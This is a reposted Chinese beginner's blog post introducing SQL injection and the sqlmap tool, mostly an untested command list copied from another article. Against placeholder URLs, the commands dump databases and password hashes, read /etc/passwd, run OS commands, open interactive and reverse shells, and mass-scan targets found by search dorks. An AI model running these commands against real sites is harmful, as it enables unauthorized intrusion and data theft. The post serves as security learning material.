初识sql注入及sqlmap

Posted 小菜的爱

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了初识sql注入及sqlmap相关的知识,希望对你有一定的参考价值。

对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧

下面是关于sqlmap这个工具的介绍,发现几篇介绍sqlmap的文章(自己觉得不错):有一篇叫《sql注入之sqlmap入门》的文章介绍了sqlmap,

文章来源:http://www.freebuf.com/articles/web/29942.html

《安全攻防之SQL注入(通过sqlmap搞定所有问题)》

文章来源:http://www.cnblogs.com/Javame/p/3753060.html

《sqlmap 简单mysql注入演示[附截图]》

文章来源:http://www.jb51.net/softjc/63593.html

《sqlmap 入门级使用(简易教程)》

文章来源:http://www.jb51.net/softjc/385336.html

下面只部分引用原本几点来简单介绍一下sqlmap,关于sqlmap的手册后面会转载文章:

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

下载地址:https://github.com/sqlmapproject/sqlmap/

运行代码:(下面代码直接copy第二篇文章的,并未测试是否可以正常运行;假设已经进入到解压的sqlmap文件里面进行操作)

1.基础信息

python sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 
python sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

2.信息内容

python sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
python sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
python sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户
python sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库 
python sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码 
python sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码
python sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条 
python sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表
python sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限 
python sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限
python sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员
python sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色 
python sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
python sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录 
python sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入
python sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息
python sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入
python sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型 
python sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
python sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令
python sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd 
python sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令
python sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell
python sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell 
python sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表
python sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度 
python sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢复已保存进度sqlmap -g "google语法" --dump-all --batch  #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="phpSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

 

以上是关于初识sql注入及sqlmap的主要内容,如果未能解决你的问题,请参考以下文章

站点SQL注入问题分析及解决

使用sqlmap对某php网站进行注入实战及安全防范

SQL注入:Sqlmap初体验

SQLMAP安装及使用教程

sql注入与sqlmap的使用

sqlmap怎么注入sql server